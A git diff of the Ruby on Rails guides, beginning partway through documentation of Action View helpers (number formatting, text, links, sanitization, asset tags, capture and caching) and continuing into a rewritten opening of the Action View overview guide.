+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_phone)
+for more information.
+
+#### number_with_delimiter
+
+Formats a number with grouped thousands using a delimiter.
+
+```ruby
+number_with_delimiter(12345678) # => 12,345,678
+```
+
+See the [`number_with_delimiter` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_delimiter)
+for more information.
+
+#### number_with_precision
+
+Formats a number with the specified level of `precision`, which defaults to 3.
+
+```ruby
+number_with_precision(111.2345)               # => 111.235
+number_with_precision(111.2345, precision: 2) # => 111.23
+```
+
+See the [`number_with_precision` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_precision)
+for more information.
+
+### Text
+
+A set of methods for filtering, formatting and transforming strings.
+
+#### excerpt
+
+Given a `text` and a `phrase`, `excerpt` searches for and extracts the first
+occurrence of the `phrase`, plus the requested surrounding text determined by a
+`radius`. An omission marker is prepended/appended if the start/end of the
+result does not coincide with the start/end of the text.
+
+```ruby
+excerpt("This is a very beautiful morning", "very", separator: " ", radius: 1)
+# => ...a very beautiful...
+
+excerpt("This is also an example", "an", radius: 8, omission: "<chop> ")
+#=> <chop> is also an example
+```
+
+See the [`excerpt` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-excerpt)
+for more information.
+
+#### pluralize
+
+Returns the singular or plural form of a word based on the value of a number.
+
+```ruby
+pluralize(1, "person") # => 1 person
+pluralize(2, "person") # => 2 people
+pluralize(3, "person", plural: "users") # => 3 users
+```
+
+See the [`pluralize` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-pluralize)
+for more information.
+
+#### truncate
+
+Truncates a given `text` to a given `length`. If the text is truncated, an
+omission marker will be appended to the result for a total length not exceeding
+`length`.
+
+```ruby
+truncate("Once upon a time in a world far far away")
+# => "Once upon a time in a world..."
+
+truncate("Once upon a time in a world far far away", length: 17)
+# => "Once upon a ti..."
+
+truncate("one-two-three-four-five", length: 20, separator: "-")
+# => "one-two-three..."
+
+truncate("And they found that many people were sleeping better.", length: 25, omission: "... (continued)")
+# => "And they f... (continued)"
+
+truncate("<p>Once upon a time in a world far far away</p>", escape: false)
+# => "<p>Once upon a time in a wo..."
+```
+
+See the [`truncate` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-truncate)
+for more information.
+
+#### word_wrap
+
+Wraps the text into lines no longer than `line_width` width.
+
+```ruby
+word_wrap("Once upon a time", line_width: 8)
+# => "Once\nupon a\ntime"
+```
+
+See the [`word_wrap` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TextHelper.html#method-i-word_wrap)
+for more information.
+
+Forms
+-----
+
+Form helpers simplify working with models compared to using standard HTML
+elements alone. They offer a range of methods tailored to generating forms based
+on your models. Some methods correspond to a specific type of input, such as
+text fields, password fields, select dropdowns, and more. When a form is
+submitted, the inputs within the form are grouped into the params object and
+sent back to the controller.
+
+You can learn more about form helpers in the [Action View Form Helpers
+Guide](form_helpers.html).
+
+Navigation
+----------
+
+A set of methods to build links and URLs that depend on the routing subsystem.
+
+### button_to
+
+Generates a form that submits to the passed URL. The form has a submit button
+with the value of the `name`.
+
+```html+erb
+<%= button_to "Sign in", sign_in_path %>
+```
+
+would output the following HTML:
+
+```html
+<form method="post" action="/sessions" class="button_to">
+  <input type="submit" value="Sign in" />
+</form>
+```
+
+See the [`button_to` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to)
+for more information.
+
+### current_page?
+
+Returns true if the current request URL matches the given `options`.
+
+```html+erb
+<% if current_page?(controller: 'profiles', action: 'show') %>
+  <strong>Currently on the profile page</strong>
+<% end %>
+```
+
+See the [`current_page?` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-current_page-3F)
+for more information.
+
+### link_to
+
+Links to a URL derived from `url_for` under the hood. It's commonly used to
+create links for RESTful resources, especially when passing models as arguments
+to `link_to`.
+
+```ruby
+link_to "Profile", @profile
+# => <a href="/profiles/1">Profile</a>
+
+link_to "Book", @book # given a composite primary key [:author_id, :id]
+# => <a href="/books/2_1">Book</a>
+
+link_to "Profiles", profiles_path
+# => <a href="/profiles">Profiles</a>
+
+link_to nil, "https://example.com"
+# => <a href="https://example.com">https://example.com</a>
+
+link_to "Articles", articles_path, id: "articles", class: "article__container"
+# => <a href="/articles" class="article__container" id="articles">Articles</a>
+```
+
+You can use a block if your link target can't fit in the name parameter.
+
+```html+erb
+<%= link_to @profile do %>
+  <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
+<% end %>
+```
+
+It would output the following HTML:
+
+```html
+<a href="/profiles/1">
+  <strong>David</strong> -- <span>Check it out!</span>
+</a>
+```
+
+See the [`link_to` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to)
+for more information.
+
+### mail_to
+
+Generates a `mailto` link tag to the specified email address. You can also
+specify the link text, additional HTML options, and whether to encode the email
+address.
+
+```ruby
+mail_to "john_doe@gmail.com"
+# => <a href="mailto:john_doe@gmail.com">john_doe@gmail.com</a>
+
+mail_to "me@john_doe.com", cc: "me@jane_doe.com",
+        subject: "This is an example email"
+# => <a href="mailto:"me@john_doe.com?cc=me@jane_doe.com&subject=This%20is%20an%20example%20email">"me@john_doe.com</a>
+```
+
+See the [`mail_to` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-mail_to)
+for more information.
+
+### url_for
+
+Returns the URL for the set of `options` provided.
+
+```ruby
+url_for @profile
+# => /profiles/1
+
+url_for [ @hotel, @booking, page: 2, line: 3 ]
+# => /hotels/1/bookings/1?line=3&page=2
+
+url_for @post # given a composite primary key [:blog_id, :id]
+# => /posts/1_2
+```
+
+Sanitization
+------------
+
+A set of methods for scrubbing text of undesired HTML elements. The helpers are
+particularly useful for helping to ensure that only safe and valid HTML/CSS is
+rendered. It can also be useful to prevent XSS attacks by escaping or removing
+potentially malicious content from user input before rendering it in your views.
+
+This functionality is powered internally by the
+[rails-html-sanitizer](https://github.com/rails/rails-html-sanitizer) gem.
+
+### sanitize
+
+The `sanitize` method will HTML encode all tags and strip all attributes that
+aren't specifically allowed.
+
+```ruby
+sanitize @article.body
+```
+
+If either the `:attributes` or `:tags` options are passed, only the mentioned
+attributes and tags are allowed and nothing else.
+
+```ruby
+sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)
+```
+
+To change defaults for multiple uses, for example, adding table tags to the
+default:
+
+```ruby
+# config/application.rb
+class Application < Rails::Application
+  config.action_view.sanitized_allowed_tags = %w(table tr td)
+end
+```
+
+See the [`sanitize` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize)
+for more information.
+
+### sanitize_css
+
+Sanitizes a block of CSS code, particularly when it comes across a style
+attribute in HTML content. `sanitize_css` is particularly useful when dealing
+with user-generated content or dynamic content that includes style attributes.
+
+The `sanitize_css` method below will remove the styles that are not allowed.
+
+```ruby
+sanitize_css("background-color: red; color: white; font-size: 16px;")
+```
+
+See the [`sanitize_css` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitize_css)
+for more information.
+
+### strip_links
+
+Strips all link tags from text leaving just the link text.
+
+```ruby
+strip_links("<a href='https://rubyonrails.org'>Ruby on Rails</a>")
+# => Ruby on Rails
+
+strip_links("emails to <a href='mailto:me@email.com'>me@email.com</a>.")
+# => emails to me@email.com.
+
+strip_links("Blog: <a href='http://myblog.com/'>Visit</a>.")
+# => Blog: Visit.
+```
+
+See the [`strip_links` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_links)
+for more information.
+
+### strip_tags
+
+Strips all HTML tags from the HTML, including comments and special characters.
+
+```ruby
+strip_tags("Strip <i>these</i> tags!")
+# => Strip these tags!
+
+strip_tags("<b>Bold</b> no more! <a href='more.html'>See more</a>")
+# => Bold no more! See more
+
+strip_links('<<a href="https://example.org">malformed & link</a>')
+# => &lt;malformed &amp; link
+```
+
+See the [`strip_tags` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_tags)
+for more information.
+
+Assets
+------
+
+A set of methods for generating HTML that links views to assets such as images,
+JavaScript files, stylesheets, and feeds.
+
+By default, Rails links to these assets on the current host in the public
+folder, but you can direct Rails to link to assets from a dedicated assets
+server by setting [`config.asset_host`][] in the application configuration,
+typically in `config/environments/production.rb`.
+
+For example, let's say your asset host is `assets.example.com`:
+
+```ruby
+config.asset_host = "assets.example.com"
+```
+
+then the corresponding URL for an `image_tag` would be:
+
+```ruby
+image_tag("rails.png")
+# => <img src="//assets.example.com/images/rails.png" />
+```
+
+[`config.asset_host`]: configuring.html#config-asset-host
+
+### audio_tag
+
+Generates an HTML audio tag with source(s), either as a single tag for a string
+source or nested source tags within an array for multiple sources. The `sources`
+can be full paths, files in your public audios directory, or [Active Storage
+attachments](active_storage_overview.html).
+
+```ruby
+audio_tag("sound")
+# => <audio src="/audios/sound"></audio>
+
+audio_tag("sound.wav", "sound.mid")
+# => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
+
+audio_tag("sound", controls: true)
+# => <audio controls="controls" src="/audios/sound"></audio>
+```
+
+INFO: Internally, `audio_tag` uses [`audio_path` from the
+AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-audio_path)
+to build the audio path.
+
+See the [`audio_tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-audio_tag)
+for more information.
+
+### auto_discovery_link_tag
+
+Returns a link tag that browsers and feed readers can use to auto-detect an RSS,
+Atom, or JSON feed.
+
+```ruby
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" })
+# => <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" />
+```
+
+See the [`auto_discovery_link_tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-auto_discovery_link_tag)
+for more information.
+
+### favicon_link_tag
+
+Returns a link tag for a favicon managed by the asset pipeline. The `source` can
+be a full path or a file that exists in your assets directory.
+
+```ruby
+favicon_link_tag
+# => <link href="/assets/favicon.ico" rel="icon" type="image/x-icon" />
+```
+
+See the [`favicon_link_tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-favicon_link_tag)
+for more information.
+
+### image_tag
+
+Returns an HTML image tag for the source. The `source` can be a full path or a
+file that exists in your `app/assets/images` directory.
+
+```ruby
+image_tag("icon.png")
+# => <img src="/assets/icon.png" />
+
+image_tag("icon.png", size: "16x10", alt: "Edit Article")
+# => <img src="/assets/icon.png" width="16" height="10" alt="Edit Article" />
+```
+
+INFO: Internally, `image_tag` uses [`image_path` from the
+AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-image_path)
+to build the image path.
+
+See the [`image_tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-image_tag)
+for more information.
+
+### javascript_include_tag
+
+Returns an HTML script tag for each of the sources provided. You can pass in the
+filename (`.js` extension is optional) of JavaScript files that exist in your
+`app/assets/javascripts` directory for inclusion into the current page, or you
+can pass the full path relative to your document root.
+
+```ruby
+javascript_include_tag("common")
+# => <script src="/assets/common.js"></script>
+
+javascript_include_tag("common", async: true)
+# => <script src="/assets/common.js" async="async"></script>
+```
+
+Some of the most common attributes are `async` and `defer`, where `async` will
+allow the script to be loaded in parallel to be parsed and evaluated as soon as
+possible, and `defer` will indicate that the script is meant to be executed
+after the document has been parsed.
+
+INFO: Internally, `javascript_include_tag` uses [`javascript_path` from the
+AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-javascript_path)
+to build the script path.
+
+See the [`javascript_include_tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-javascript_include_tag)
+for more information.
+
+### picture_tag
+
+Returns an HTML picture tag for the source. It supports passing a String, an
+Array, or a Block.
+
+```ruby
+picture_tag("icon.webp", "icon.png")
+```
+
+This generates the following HTML:
+
+```html
+<picture>
+  <source srcset="/assets/icon.webp" type="image/webp" />
+  <source srcset="/assets/icon.png" type="image/png" />
+  <img src="/assets/icon.png" />
+</picture>
+```
+
+See the [`picture_tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-picture_tag)
+for more information.
+
+### preload_link_tag
+
+Returns a link tag that browsers can use to preload the source. The source can
+be the path of a resource managed by the asset pipeline, a full path, or a URI.
+
+```ruby
+preload_link_tag("application.css")
+# => <link rel="preload" href="/assets/application.css" as="style" type="text/css" />
+```
+
+See the [`preload_link_tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-preload_link_tag)
+for more information.
+
+### stylesheet_link_tag
+
+Returns a stylesheet link tag for the sources specified as arguments. If you
+don't specify an extension, `.css` will be appended automatically.
+
+```ruby
+stylesheet_link_tag("application")
+# => <link href="/assets/application.css" rel="stylesheet" />
+
+stylesheet_link_tag("application", media: "all")
+# => <link href="/assets/application.css" media="all" rel="stylesheet" />
+```
+
+`media` is used to specify the media type for the link. The most common media
+types are `all`, `screen`, `print`, and `speech`.
+
+INFO: Internally, `stylesheet_link_tag` uses [`stylesheet_path` from the
+AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-stylesheet_path)
+to build the stylesheet path.
+
+See the [`stylesheet_link_tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-stylesheet_link_tag)
+for more information.
+
+### video_tag
+
+Generate an HTML video tag with source(s), either as a single tag for a string
+source or nested source tags within an array for multiple sources. The `sources`
+can be full paths, files in your public videos directory, or Active Storage
+attachments.
+
+```ruby
+video_tag("trailer")
+# => <video src="/videos/trailer"></video>
+
+video_tag(["trailer.ogg", "trailer.flv"])
+# => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
+
+video_tag("trailer", controls: true)
+# => <video controls="controls" src="/videos/trailer"></video>
+```
+
+INFO: Internally, `video_tag` uses [`video_path` from the
+AssetUrlHelpers](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetUrlHelper.html#method-i-video_path)
+to build the video path.
+
+See the [`video_tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html#method-i-video_tag)
+for more information.
+
+JavaScript
+----------
+
+A set of methods for working with JavaScript in your views.
+
+### escape_javascript
+
+Escapes carriage returns and single and double quotes for JavaScript segments.
+You would use this method to take a string of text and make sure that it doesn’t
+contain any invalid characters when the browser tries to parse it.
+
+For example, if you have a partial with a greeting that contains double quotes,
+you can escape the greeting to use in a JavaScript alert.
+
+```html+erb
+<%# app/views/users/greeting.html.erb %>
+My name is <%= current_user.name %>, and I'm here to say "Welcome to our website!"
+```
+
+```html+erb
+<script>
+  var greeting = "<%= escape_javascript render('users/greeting') %>";
+  alert(`Hello, ${greeting}`);
+</script>
+```
+
+This will escape the quotes correctly and display the greeting in an alert box.
+
+See the [`escape_javascript` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-escape_javascript)
+for more information.
+
+### javascript_tag
+
+Returns a JavaScript tag wrapping the provided code. You can pass a hash of
+options to control the behavior of the `<script>` tag.
+
+```ruby
+javascript_tag("alert('All is good')", type: "application/javascript")
+```
+
+```html
+<script type="application/javascript">
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+```
+
+Instead of passing the content as an argument, you can also use a block.
+
+```html+erb
+<%= javascript_tag type: "application/javascript" do %>
+  alert("Welcome to my app!")
+<% end %>
+```
+
+See the [`javascript_tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/JavaScriptHelper.html#method-i-javascript_tag)
+for more information.
+
+Alternative Tags
+----------------
+
+A set of methods to generate HTML tags programmatically.
+
+### tag
+
+Generates a standalone HTML tag with the given `name` and `options`.
+
+Every tag can be built with:
+
+```ruby
+tag.some_tag_name(optional content, options)
+```
+
+where tag name can be e.g. `br`, `div`, `section`, `article`, or any tag really.
+
+For example, here are some common uses:
+
+```ruby
+tag.h1 "All titles fit to print"
+# => <h1>All titles fit to print</h1>
+
+tag.div "Hello, world!"
+# => <div>Hello, world!</div>
+```
+
+Additionally, you can pass options to add attributes to the generated tag.
+
+```ruby
+tag.section class: %w( kitties puppies )
+# => <section class="kitties puppies"></section>
+```
+
+In addition, HTML `data-*` attributes can be passed to the `tag` helper using
+the `data` option, with a hash containing key-value pairs of sub-attributes. The
+sub-attributes are then converted to `data-*` attributes that are dasherized in
+order to work well with JavaScript.
+
+```ruby
+tag.div data: { user_id: 123 }
+# => <div data-user-id="123"></div>
+```
+
+See the [`tag` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/TagHelper.html#method-i-tag)
+for more information.
+
+### token_list
+
+Returns a string of tokens built from the arguments provided. This method is
+also aliased as `class_names`.
+
+```ruby
+token_list("cats", "dogs")
+# => "cats dogs"
+
+token_list(nil, false, 123, "", "foo", { bar: true })
+# => "123 foo bar"
+
+mobile, alignment = true, "center"
+token_list("flex items-#{alignment}", "flex-col": mobile)
+# => "flex items-center flex-col"
+class_names("flex items-#{alignment}", "flex-col": mobile) # using the alias
+# => "flex items-center flex-col"
+```
+
+Capture Blocks
+--------------
+
+A set of methods to let you extract generated markup which can be used in other
+parts of a template or layout file.
+
+It provides a method to capture blocks into variables through `capture`, and a
+way to capture a block of markup for use in a layout through `content_for`.
+
+### capture
+
+The `capture` method allows you to extract part of a template into a variable.
+
+```html+erb
+<% @greeting = capture do %>
+  <p>Welcome! The date and time is <%= Time.current %></p>
+<% end %>
+```
+
+You can then use this variable anywhere in your templates, layouts, or helpers.
+
+```html+erb
+<html>
+  <head>
+    <title>Welcome!</title>
+  </head>
+  <body>
+    <%= @greeting %>
+  </body>
+</html>
+```
+
+The return of capture is the string generated by the block.
+
+``` ruby
+@greeting
+# => "Welcome! The date and time is 2018-09-06 11:09:16 -0500"
+```
+
+See the [`capture` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-capture)
+for more information.
+
+### content_for
+
+Calling `content_for` stores a block of markup in an identifier for later use.
+You can make subsequent calls to the stored content in other templates, helper
+modules or the layout by passing the identifier as an argument to `yield`.
+
+A common use case is to set the title of a page in a `content_for` block.
+
+You define a `content_for` block in the special page's view, and then you
+`yield` it within the layout. For other pages, where the `content_for` block
+isn't utilized, it remains empty, resulting in nothing being yielded.
+
+```html+erb
+<%# app/views/users/special_page.html.erb %>
+<% content_for(:html_title) { "Special Page Title" } %>
+```
+
+```html+erb
+<%# app/views/layouts/application.html.erb %>
+<html>
+  <head>
+    <title><%= content_for?(:html_title) ? yield(:html_title) : "Default Title" %></title>
+  </head>
+</html>
+```
+
+You'll notice that in the above example, we use the `content_for?` predicate
+method to conditionally render a title. This method checks whether any content
+has been captured yet using `content_for`, enabling you to adjust parts of your
+layout based on the content within your views.
+
+Additionally, you can employ `content_for` within a helper module.
+
+```ruby
+# app/helpers/title_helper.rb
+module TitleHelper
+  def html_title
+    content_for(:html_title) || "Default Title"
+  end
+end
+```
+
+Now, you can call `html_title` in your layout to retrieve the content stored in
+the `content_for` block. If a `content_for` block is set on the page being
+rendered, such as in the case of the `special_page`, it will display the title.
+Otherwise, it will display the default text "Default Title".
+
+WARNING: `content_for` is ignored in caches. So you shouldn’t use it for
+elements that will be fragment cached.
+
+NOTE: You may be thinking what's the difference between `capture` and
+`content_for`? <br><br>
+`capture` is used to capture a block of markup in a variable, while
+`content_for` is used to store a block of markup in an identifier for later use.
+Internally `content_for` actually calls `capture`. However, the key difference
+lies in their behavior when invoked multiple times.<br><br>
+`content_for` can be called repeatedly, concatenating the blocks it receives for
+a specific identifier in the order they are provided. Each subsequent call
+simply adds to what's already stored. In contrast, `capture` only returns the
+content of the block, without keeping track of any previous invocations.
+
+See the [`content_for` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CaptureHelper.html#method-i-content_for)
+for more information.
+
+Performance
+-----------
+
+### benchmark
+
+Wrap a `benchmark` block around expensive operations or possible bottlenecks to
+get a time reading for the operation.
+
+```html+erb
+<% benchmark "Process data files" do %>
+  <%= expensive_files_operation %>
+<% end %>
+```
+
+This would add something like `Process data files (0.34523)` to the log, which
+you can then use to compare timings when optimizing your code.
+
+
+NOTE: This helper is a part of Active Support, and it is also available on
+controllers, helpers, models, etc.
+
+See the [`benchmark` API
+Documentation](https://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark)
+for more information.
+
+### cache
+
+You can cache fragments of a view rather than an entire action or page. This
+technique is useful for caching pieces like menus, lists of news topics, static
+HTML fragments, and so on. It allows a fragment of view logic to be wrapped in a
+cache block and served out of the cache store when the next request comes in.
+
+The `cache` method takes a block that contains the content you wish to cache.
+
+For example, you could cache the footer of your application layout by wrapping
+it in a `cache` block.
+
+```erb
+<% cache do %>
+  <%= render "application/footer" %>
+<% end %>
+```
+
+You could also cache based on model instances, for example, you can cache each
+article on a page by passing the `article` object to the `cache` method. This
+would cache each article separately.
+
+```erb
+<% @articles.each do |article| %>
+  <% cache article do %>
+    <%= render article %>
+  <% end %>
+<% end %>
+```
+
+When your application receives its first request to this page, Rails will write
+a new cache entry with a unique key. A key looks something like this:
+
+```irb
+views/articles/index:bea67108094918eeba32cd4a6f786301/articles/1
+```
+
+See [`Fragment Caching`](caching_with_rails.html#fragment-caching) and the
+[`cache` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/CacheHelper.html#method-i-cache)
+for more information.
+
+Miscellaneous
+-------------
+
+### atom_feed
+
+Atom Feeds are XML-based file formats used to syndicate content and can be used
+by users in feed readers to browse content or by search engines to help discover
+additional information about your site.
+
+This helper makes building an Atom feed easy, and is mostly used in Builder
+templates for creating XML. Here's a full usage example:
+
+```ruby
+# config/routes.rb
+resources :articles
+```
+
+```ruby
+# app/controllers/articles_controller.rb
+def index
+  @articles = Article.all
+
+  respond_to do |format|
+    format.html
+    format.atom
+  end
+end
+```
+
+```ruby
+# app/views/articles/index.atom.builder
+atom_feed do |feed|
+  feed.title("Articles Index")
+  feed.updated(@articles.first.created_at)
+
+  @articles.each do |article|
+    feed.entry(article) do |entry|
+      entry.title(article.title)
+      entry.content(article.body, type: "html")
+
+      entry.author do |author|
+        author.name(article.author_name)
+      end
+    end
+  end
+end
+```
+
+See the [`atom_feed` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/AtomFeedHelper.html#method-i-atom_feed)
+for more information.
+
+### debug
+
+Returns a YAML representation of an object wrapped with a `pre` tag. This
+creates a very readable way to inspect an object.
+
+```ruby
+my_hash = { "first" => 1, "second" => "two", "third" => [1, 2, 3] }
+debug(my_hash)
+```
+
+```html
+<pre class="debug_dump">---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+</pre>
+```
+
+See the [`debug` API
+Documentation](https://api.rubyonrails.org/classes/ActionView/Helpers/DebugHelper.html#method-i-debug)
+for more information.
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
index c835adeab6e16..c5d7a6d8c466c 100644
--- a/guides/source/action_view_overview.md
+++ b/guides/source/action_view_overview.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Action View Overview
 ====================
@@ -7,7 +7,6 @@ After reading this guide, you will know:
 
 * What Action View is and how to use it with Rails.
 * How best to use templates, partials, and layouts.
-* What helpers are provided by Action View and how to make your own.
 * How to use localized views.
 
 --------------------------------------------------------------------------------
@@ -15,18 +14,39 @@ After reading this guide, you will know:
 What is Action View?
 --------------------
 
-In Rails, web requests are handled by [Action Controller](action_controller_overview.html) and Action View. Typically, Action Controller is concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response.
-
-Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves.
-
-NOTE: Some features of Action View are tied to Active Record, but that doesn't mean Action View depends on Active Record. Action View is an independent package that can be used with any sort of Ruby libraries.
+Action View is the V in
+[MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller).
+[Action Controller](action_controller_overview.html) and Action View work
+together to handle web requests. Action Controller is concerned with
+communicating with the model layer (of MVC) and retrieving data. Action View is
+then responsible for rendering a response body to the web request using that
+data.
+
+By default, Action View templates (also referred to simply as "views") are
+written using Embedded Ruby (ERB), which allows using Ruby code within HTML
+documents.
+
+Action View provides many [helper](#helpers) methods for dynamically generating
+HTML tags for forms, dates, and strings. It's also possible to add custom
+helpers to your application as needed.
+
+NOTE: Action View can make use of Active Model features like
+[`to_param`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html#method-i-to_param)
+and
+[`to_partial_path`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html#method-i-to_partial_path)
+to simplify code. That doesn't mean Action View depends on Active Model. Action
+View is an independent package that can be used with any Ruby library.
 
 Using Action View with Rails
 ----------------------------
 
-For each controller there is an associated directory in the `app/views` directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action.
+Action View templates (aka "views") are stored in subdirectories in the
+`app/views` directory. There is a subdirectory matching the name of each
+controller. The view files inside that subdirectory are used to render specific
+views as a response to controller actions.
 
-Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
+For example, when you use scaffolding to generate an `article` resource, Rails
+generates the following files in `app/views/articles`:
 
 ```bash
 $ bin/rails generate scaffold article
@@ -43,55 +63,125 @@ $ bin/rails generate scaffold article
       [...]
 ```
 
-There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
-For example, the index controller action of the `articles_controller.rb` will use the `index.html.erb` view file in the `app/views/articles` directory.
-The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Within this guide you will find more detailed documentation about each of these three components.
+The file names follow a Rails naming convention. They share their name with the
+associated controller action. For example the `index.html.erb`, `edit.html.erb`,
+etc.
 
+By following this naming convention, Rails will automatically find and render
+the matching view at the end of a controller action, without you having to
+specify it. For example, the `index` action in the `articles_controller.rb` will
+automatically render the `index.html.erb` view inside the `app/views/articles/`
+directory. The name and the location of the file are both important.
 
-Templates, Partials and Layouts
--------------------------------
+The final HTML returned to the client is composed of a combination of the
+`.html.erb` ERB file, a layout template that wraps it, and all the partials that
+the ERB file may reference. In the rest of this guide, you will find more
+details about each of the three components: `Templates`, `Partials`, `Layouts`.
 
-As mentioned, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
-Below is a brief overview of each of them.
+Templates
+---------
 
-### Templates
+Action View templates can be written in different formats. If the template file
+has a `.erb` extension, it uses embedded Ruby to build an HTML response. If the
+template has a `.jbuilder` extension, it uses the
+[Jbuilder](https://github.com/rails/jbuilder) gem to build a JSON response. And
+a template with a `.builder` extension uses the
+[`Builder::XmlMarkup`](https://github.com/rails/builder) library to build an XML
+response.
 
-Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (Embedded Ruby) and HTML. If the template file has a `.builder` extension then the `Builder::XmlMarkup` library is used.
+Rails uses the file extension to distinguish among multiple template systems.
+For example, an HTML file using the ERB template system will have `.html.erb` as
+a file extension, and a JSON file using the Jbuilder template system will have
+the `.json.jbuilder` file extension. Other libraries may add other template
+types and file extensions as well.
 
-Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension.
+### ERB
 
-#### ERB
+An ERB template is a way to sprinkle Ruby code within static HTML using special
+ERB tags like `<% %>` and `<%= %>`.
 
-Within an ERB template, Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` tags are used to execute Ruby code that does not return anything, such as conditions, loops or blocks, and the `<%= %>` tags are used when you want output.
+When Rails processes the ERB view templates ending with `.html.erb`, it
+evaluates the embedded Ruby code and replaces the ERB tags with the dynamic
+output. That dynamic content is combined with the static HTML markup to form the
+final HTML response.
 
-Consider the following loop for names:
+Within an ERB template, Ruby code can be included using both `<% %>` and `<%=
+%>` tags. The `<% %>` tag (without the `=`) is used when you want to execute
+Ruby code but not directly output the result, such as conditions or loops. The
+tag `<%= %>` is used for Ruby code that generates an output and you want that
+output rendered within the template, such as a model attribute like
+`person.name` in this example:
 
 ```html+erb
-<h1>Names of all the people</h1>
+<h1>Names</h1>
 <% @people.each do |person| %>
   Name: <%= person.name %><br>
 <% end %>
 ```
 
-The loop is set up using regular embedding tags (`<% %>`) and the name is inserted using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion: regular output functions such as `print` and `puts` won't be rendered to the view with ERB templates. So this would be wrong:
+The loop is set up using regular embedding tags (`<% %>`) and the name is
+inserted using the output embedding tags (`<%= %>`).
+
+Note that functions such as `print` and `puts` won't be rendered to the view
+with ERB templates. So something like this would not work:
 
 ```html+erb
 <%# WRONG %>
 Hi, Mr. <% puts "Frodo" %>
 ```
 
